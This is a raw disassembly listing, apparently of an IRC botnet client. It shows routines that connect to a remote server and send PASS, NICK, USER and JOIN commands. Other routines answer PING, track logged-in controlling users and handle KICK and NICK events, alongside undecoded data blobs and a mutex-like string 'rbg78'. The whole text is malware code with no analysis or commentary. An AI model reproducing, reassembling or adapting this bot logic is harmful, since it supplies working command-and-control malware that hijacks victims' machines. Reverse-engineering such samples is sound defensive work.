		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41D260
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_402617	endp


; =============== S U B	R O U T	I N E =======================================



sub_402670	proc near		; CODE XREF: seg000:00409E12p
					; sub_414853+1C8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_402699
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40268C:				; CODE XREF: sub_402670+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40268C
		pop	edi
		jmp	short loc_40269D
; ---------------------------------------------------------------------------


loc_402699:				; CODE XREF: sub_402670+Aj
		mov	edx, [esp+4+arg_0]


loc_40269D:				; CODE XREF: sub_402670+27j
		test	esi, esi
		pop	esi
		jz	short loc_4026A7
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_4026A7:				; CODE XREF: sub_402670+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_402670	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp-4], esi
		jle	short loc_4026EA
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_4026DC:				; CODE XREF: seg000:004026E4j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_4026DC
		pop	edi
		cmp	eax, 1


loc_4026EA:				; CODE XREF: seg000:004026D0j
		jnz	short loc_4026F7
		mov	al, [edx]
		mov	[ebp-4], al
		movzx	eax, word ptr [ebp-4]
		add	esi, eax


loc_4026F7:				; CODE XREF: seg000:loc_4026EAj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_402710:				; CODE XREF: seg000:00420C51p
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40132F
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_4F1340
		call	esi ; dword_4F1340
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_4DF1BC, eax
		call	esi ; dword_4F1340
		push	eax
		call	sub_41DB90
		pop	ecx
		call	sub_4014F8
		push	2
		call	ds:dword_45159C
		push	7530h
		push	offset aRbg78	; "rbg78"
		push	ebx
		push	ebx
		call	near ptr 3D0000h
		dec	ebp
		push	eax
		call	near ptr 3D0000h
		jz	short loc_4027BF
		add	al, [ecx]
; ---------------------------------------------------------------------------
		dd 8750000h, 15FF016Ah,	4F12F8h, 0F77C858Dh, 6850FFFFh
		dd 202h, 146415FFh, 0C33B0045h,	593850Fh, 0BD800000h, 0FFFFF77Ch
		dd 80850F02h, 33000005h, 7D858AC0h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4027BF:				; CODE XREF: seg000:00402780j
		cmp	al, 2
		jnz	loc_402D37
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		db 0D9h, 8Dh, 85h
		dd 0FFFFFD14h, 0E8535056h, 0FFFCD818h, 11E850EDh, 0E5FFFCD8h
		dd 0FA0C858Dh, 8D50FFFFh, 0FFF90C85h, 8D5350FFh, 0FFFD1485h
		dd 0E85053FFh, 1B454h, 0FA0C858Dh, 8D50FFFFh, 0FFF90C85h
		dd 146850FFh, 8D0043D6h, 0FFFB0C85h, 0E85056FFh, 1AB34h
		dd 0FC10858Dh, 8D50FFFFh, 0FFFD1485h, 0A1E850FFh, 830001B3h
		dd 0C08530C4h, 1B8850Fh, 1D390000h, 43CC6Ch, 43CCBCBEh
		dd 56317400h, 11E8FF33h, 83000184h, 745904E8h, 0B336E823h
		dd 1A6A0001h, 0F9F75999h, 61C28056h, 0CCBC9788h, 0E8470043h
		dd 183F0h, 5904E883h, 0DD72F83Bh, 0FC10858Dh, 5056FFFFh
		dd 0FE18858Dh, 1C68FFFFh, 500043D6h, 1A9BFE8h, 10C48300h
		dd 0FE18858Dh, 0FF50FFFFh, 4F133415h, 0FFF88300h, 858D1274h
		dd 0FFFFFE18h, 8068h, 39E85000h, 3FFFCD7h, 132C358Bh, 858D004Fh
		dd 0FFFFFE18h, 858D5053h, 0FFFFFD14h, 0FF50FF33h, 75C085D6h
		dd 1015FF33h, 3B004F13h, 832975FBh, 57420F8h, 7505F883h
		dd 5F016A1Fh, 3A9868h, 0F415FF00h, 8D004F12h, 0FFFE1885h
		dd 8D5053FFh, 0FFFD1485h, 0C7EB50FFh, 0FE18858Dh, 0E850FFFFh
		dd 1515Bh, 18858D59h, 6AFFFFFEh, 0CDE85007h, 2FFFFCD6h
		dd 458D106Ah, 0E85053E0h, 1A7C0h, 858D446Ah, 0FFFFFF1Ch
		dd 5053565Eh, 1A7AFE8h,	18C48300h, 0FF1CB589h, 85C7FFFFh
		dd 0FFFFFF28h, 4DF344h,	4C9D8966h, 6AFFFFFFh, 0B5895E01h
		dd 0FFFFFF48h, 0FCD687E8h, 565090FFh, 10000068h, 0D67AE800h
		dd 8D48FFFCh, 0FFFD148Dh, 8D5051FFh, 0FFFE1885h, 858D50FFh
		dd 0FFFFF678h, 43D62468h, 0B9E85000h, 830001A8h, 458D14C4h
		dd 858D50E0h, 0FFFFFF1Ch, 10858D50h, 50FFFFFCh,	56286A53h
		dd 78858D53h, 53FFFFF6h, 18858D50h, 50FFFFFEh, 0FCD62BE8h
		dd 0C085D4FFh, 0C8682874h, 0FF000000h, 4F12F415h, 0E075FF00h
		dd 12FC358Bh, 0D6FF004Fh, 0FFE475FFh, 4C15FFD6h, 53004514h
		dd 12F815FFh, 3D83004Fh, 4EE97Ch, 0A1437E02h, 4EE980h
		dd 0E80470FFh, 1AB48h, 6AF08B59h, 0DDE856FFh, 1BFFFCD5h
		dd 0FC15FF56h, 0A1004F12h, 4EE980h, 74085839h, 7D06819h
		dd 15FF0000h, 4F12F4h, 4EE980A1h, 870FF00h, 0FCD5B3E8h
		dd 1D394EFFh, 43CC70h, 1D391574h, 4515C0h, 858D0D75h, 0FFFFFB0Ch
		dd 0E596E850h, 8D59FFFFh, 0FFFF6085h, 0D63068FFh, 0E8500043h
		dd 1A7E4h, 60858D53h, 53FFFFFFh, 62B5E850h, 858D0000h
		dd 0FFFFFF60h, 3711E850h, 80680001h, 5300000Bh,	45163868h
		dd 0A65AE800h, 858D0001h, 0FFFFFF60h, 43D64868h, 0A9E85000h
		dd 530001A7h, 0FF60858Dh, 16AFFFFh, 6279E850h, 0C4830000h
		dd 8BF88B38h, 4F131C35h, 0F8458D00h, 68535350h,	41939Eh
		dd 0D6FF5353h, 234FF69h, 0C33B0000h, 23CC8789h,	1B750045h
		dd 131015FFh, 8D50004Fh, 0FFFF6085h, 0D66868FFh, 0E8500043h
		dd 1A758h, 8D0CC483h, 0FFFF6085h, 90E850FFh, 8D000136h
		dd 0FFFF6085h, 2404C7FFh, 43D6A4h, 0A736E850h, 8D530001h
		dd 0FFFF6085h, 50016AFFh, 6206E8h, 14C48300h, 458DF88Bh
		dd 858D50F8h, 0FFFFFB0Ch, 70685053h, 53004010h,	69D6FF53h
		dd 234FFh, 89C33B00h, 4523CC87h, 0FF1B7500h, 4F131015h
		dd 858D5000h, 0FFFFFF60h, 43D6C868h, 0E5E85000h, 830001A6h
		dd 858D0CC4h, 0FFFFFF60h, 361DE850h, 26A0001h, 63F6E8h
		dd 0C0855900h, 8D6C7559h, 0FFFF6085h, 0D70068FFh, 0E8500043h
		dd 1A6B8h, 60858D53h, 6AFFFFFFh, 88E85002h, 83000061h
		dd 0F88B14C4h, 50F8458Dh, 39685753h, 53004115h,	69D6FF53h
		dd 234FFh, 89C33B00h, 4523CC87h, 0FF1B7500h, 4F131015h
		dd 858D5000h, 0FFFFFF60h, 43D72868h, 6DE85000h,	830001A6h
		dd 858D0CC4h, 0FFFFFF60h, 35A5E850h, 0E8590001h, 1AF98h
		dd 98687F6Ah, 680043CCh, 4DF1C4h, 4DF33CA3h, 0ABE2E800h
		dd 4CA10001h, 6A0043CCh, 0F244BF3Fh, 0A868004Dh, 570043CCh
		dd 4DF314A3h, 0ABC6E800h, 3F6A0001h, 4DF284BEh,	0CCB06800h
		dd 0E8560043h, 1ABB4h, 8924C483h, 4DF3181Dh, 0FC5D8900h
		dd 4DF1C068h, 381D8900h, 0E8004DF3h, 0DEh, 8902F883h, 840FF045h
		dd 0BEh, 0F3381D39h, 374004Dh, 68FC4DFFh, 0BB8h, 12F415FFh
		dd 45FF004Fh, 0FC7D83FCh, 83C57C06h, 0F02F07Dh,	9584h
		dd 0F45D3900h, 7F6A4074h, 43CC9868h, 0F1C46800h, 4DE8004Dh
		dd 0A10001ABh, 43CC4Ch,	0A8683F6Ah, 570043CCh, 4DF314A3h
		dd 0AB36E800h, 3F6A0001h, 43CCB068h, 29E85600h,	830001ABh
		dd 5D8924C4h, 0FF73E9F4h, 1D38FFFFh, 4DF32Ch, 0FF67840Fh
		dd 7F6AFFFFh, 4DF32C68h, 0F1C46800h, 1E8004Dh, 0A10001ABh
		dd 43CC50h, 30683F6Ah, 57004DF3h, 4DF314A3h, 0AAEAE800h
		dd 3F6A0001h, 4DF33468h, 0DDE85600h, 830001AAh,	45C724C4h
		dd 1F4h, 0FF23E900h, 0D1E8FFFFh
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: seg000:004027C1j
		call	ds:dword_45144C
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D46	proc near		; DATA XREF: seg000:00406507o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_402D6B:				; CODE XREF: sub_402D46+E6j
					; sub_402D46+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_4514F4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_4024FB
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_402E98
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41D100
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_43CC80
		push	ds:dword_43CC7C
		push	eax
		call	sub_408A38
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4523D0
		push	edi
		push	eax
		call	sub_41D800
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_451570
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_4523C4[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402E31
		push	esi
		call	ds:dword_451588
		call	sub_402524
		push	7D0h


loc_402E26:				; CODE XREF: sub_402D46+146j
		call	ds:dword_4F12F4	; Sleep
		jmp	loc_402D6B
; ---------------------------------------------------------------------------


loc_402E31:				; CODE XREF: sub_402D46+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset aMainConnectedT ; "[MAIN]: Connected to %s."
		call	sub_41621B
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_402EAE
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_451588
		test	edi, edi
		jz	loc_402D6B
		cmp	edi, 1
		jnz	short loc_402E8E
		push	0DBBA0h
		jmp	short loc_402E26
; ---------------------------------------------------------------------------


loc_402E8E:				; CODE XREF: sub_402D46+13Fj
		cmp	edi, 2
		jz	short loc_402E9C
		jmp	loc_402D6B
; ---------------------------------------------------------------------------


loc_402E98:				; CODE XREF: sub_402D46+5Aj
		xor	eax, eax
		jmp	short loc_402EA8
; ---------------------------------------------------------------------------


loc_402E9C:				; CODE XREF: sub_402D46+14Bj
		push	[ebp+var_34]
		call	sub_40905B
		pop	ecx
		push	2
		pop	eax


loc_402EA8:				; CODE XREF: sub_402D46+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_402D46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EAE	proc near		; CODE XREF: sub_402D46+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_402ECC:				; CODE XREF: sub_402EAE+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_402ECC
		cmp	ds:byte_4DF328,	bl
		jz	short loc_402EF3
		push	offset byte_4DF328
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_401417
		add	esp, 0Ch


loc_402EF3:				; CODE XREF: sub_402EAE+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_408A38
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41D260
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402F5D
		push	[ebp+arg_0]
		call	ds:dword_451588
		push	1388h
		call	ds:dword_4F12F4	; Sleep


loc_402F56:				; CODE XREF: sub_402EAE+D9j
					; sub_402EAE+153j
		xor	eax, eax


loc_402F58:				; CODE XREF: sub_402EAE+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_402F5D:				; CODE XREF: sub_402EAE+92j
					; sub_402EAE+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_45150C
		test	eax, eax
		jle	short loc_402F56
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417768
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_402F5D
		lea	edi, [ebp+var_A90]


loc_402FAE:				; CODE XREF: sub_402EAE+165j
		push	1
		pop	esi


loc_402FB1:				; CODE XREF: sub_402EAE+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_403026
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_402FF4
		push	7D0h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_402FB1
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_402EAE+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40301E
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40301A
		cmp	esi, 0FFFFFFFFh
		jz	loc_402F56
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_402FAE
		jmp	loc_402F5D
; ---------------------------------------------------------------------------


loc_40301A:				; CODE XREF: sub_402EAE+14Ej
		push	1
		jmp	short loc_403020
; ---------------------------------------------------------------------------


loc_40301E:				; CODE XREF: sub_402EAE+149j
		push	2


loc_403020:				; CODE XREF: sub_402EAE+16Ej
		pop	eax
		jmp	loc_402F58
sub_402EAE	endp

; ---------------------------------------------------------------------------


loc_403026:				; CODE XREF: sub_402EAE+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_41DEB0
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0A4h], 3
		mov	[ebp-10h], ebx
		mov	[ebp-0A8h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_41D100
		push	1Bh
		lea	eax, [ebp-564h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41D800
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_403498
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_41D100
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-0F9Ch]
		push	offset asc_43D79C ; " :"
		push	eax
		call	sub_41DBE0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-119Ch]
		push	offset asc_43D7A0 ; " "
		push	eax
		call	sub_41D6B0
		add	esp, 34h
		mov	[ebp-94h], eax
		lea	esi, [ebp-90h]
		push	1Fh
		pop	edi


loc_4030F1:				; CODE XREF: seg000:00403104j
		push	offset asc_43D7A4 ; " "
		push	ebx
		call	sub_41D6B0
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_4030F1
		mov	esi, [ebp-94h]
		cmp	esi, ebx
		jz	loc_403498
		cmp	[ebp-90h], ebx
		jz	loc_403498
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	ecx, [ebp-18h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40313E:				; CODE XREF: seg000:00403170j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40316A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_403172
		cmp	[eax+2], bl
		jnz	short loc_403172
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-94h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40316A:				; CODE XREF: seg000:00403142j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40313E


loc_403172:				; CODE XREF: seg000:00403147j
					; seg000:0040314Cj
		cmp	[ebp-9A1h], bl
		jz	short loc_40317D
		mov	[ebp-8], edi


loc_40317D:				; CODE XREF: seg000:00403178j
		cmp	[ebp-9A6h], bl
		jz	short loc_40318B
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_40318B:				; CODE XREF: seg000:00403183j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_4031C5
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_41D800
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-0C0h]
		push	offset asc_43D7A8 ; "!"
		push	eax
		call	sub_41D6B0
		add	esp, 20h


loc_4031C5:				; CODE XREF: seg000:0040318Ej
		push	esi
		push	offset aPing	; "PING"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403216
		push	dword ptr [ebp-90h]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_4032BA
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		add	esp, 10h
		jmp	loc_4032BA
; ---------------------------------------------------------------------------


loc_403216:				; CODE XREF: seg000:004031D4j
		mov	esi, [ebp-90h]
		push	esi
		push	offset a001	; "001"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085F2
		push	esi
		push	offset a005	; "005"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085F2
		push	esi
		push	offset a302_0	; "302"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403281
		push	offset a@	; "@"
		push	dword ptr [ebp-88h]
		call	sub_41DBE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4032BA
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_41D800
		add	esp, 0Ch
		jmp	short loc_4032BA
; ---------------------------------------------------------------------------


loc_403281:				; CODE XREF: seg000:00403255j
		push	esi
		push	offset a433_0	; "433"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4032C1
		push	ebx
		push	ds:dword_43CC80
		push	ds:dword_43CC7C
		push	dword ptr [ebp+18h]
		call	sub_408A38
		push	dword ptr [ebp+18h]
		push	offset aNickS_4	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		add	esp, 1Ch


loc_4032BA:				; CODE XREF: seg000:004031F5j
					; seg000:00403211j ...
		mov	eax, edi
		jmp	loc_40349B
; ---------------------------------------------------------------------------


loc_4032C1:				; CODE XREF: seg000:00403290j
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0C4h], 3
		mov	edi, 80h


loc_4032D3:				; CODE XREF: seg000:004032F8j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4032F0
		mov	dword ptr [ebp-0A8h], 1


loc_4032F0:				; CODE XREF: seg000:004032E4j
		add	esi, edi
		dec	dword ptr [ebp-0C4h]
		jnz	short loc_4032D3
		mov	esi, [ebp-90h]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4033E7
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 3


loc_40331F:				; CODE XREF: seg000:004033ACj
		cmp	[esi], bl
		jz	loc_4033A7
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_41D800
		lea	eax, [ebp-0C0h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4033A7
		cmp	[ebp-88h], ebx
		jz	short loc_4033A7
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033A7
		lea	eax, [ebp-0C0h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_41D260
		lea	eax, [ebp-2C8h]
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7
		add	esp, 20h


loc_4033A7:				; CODE XREF: seg000:00403321j
					; seg000:00403341j ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_40331F
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+18h]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403498
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_4033DA:				; CODE XREF: seg000:0040361Aj
					; seg000:0040384Dj ...
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		jmp	loc_407ED5
; ---------------------------------------------------------------------------


loc_4033E7:				; CODE XREF: seg000:0040330Fj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40352D
		mov	eax, [ebp-8Ch]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 3
		mov	[ebp+2Ch], eax


loc_403410:				; CODE XREF: seg000:00403462j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40345D
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_41E650
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_40345D
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41E550
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_41E560
		add	esp, 10h
		mov	edi, 80h


loc_40345D:				; CODE XREF: seg000:00403421j
					; seg000:00403438j
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_403410
		lea	eax, [ebp-0C0h]
		test	eax, eax
		jz	short loc_403498
		cmp	[ebp+2Ch], ebx
		jz	short loc_403498
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4034A0
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_41D800
		add	esp, 0Ch


loc_403498:				; CODE XREF: seg000:00403081j
					; seg000:0040310Ej ...
		push	1


loc_40349A:				; CODE XREF: seg000:00408196j
		pop	eax


loc_40349B:				; CODE XREF: seg000:004032BCj
					; seg000:004066CBj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4034A0:				; CODE XREF: seg000:00403486j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4034A5:				; CODE XREF: seg000:004034C6j
		cmp	[edi], bl
		jz	short loc_4034BC
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4034CA


loc_4034BC:				; CODE XREF: seg000:004034A7j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4034A5
		jmp	short loc_403498
; ---------------------------------------------------------------------------


loc_4034CA:				; CODE XREF: seg000:004034BAj
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_41E650
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_403498
		push	eax
		call	sub_41AC70
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_41AC70
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_403498
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-4ACh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 24h
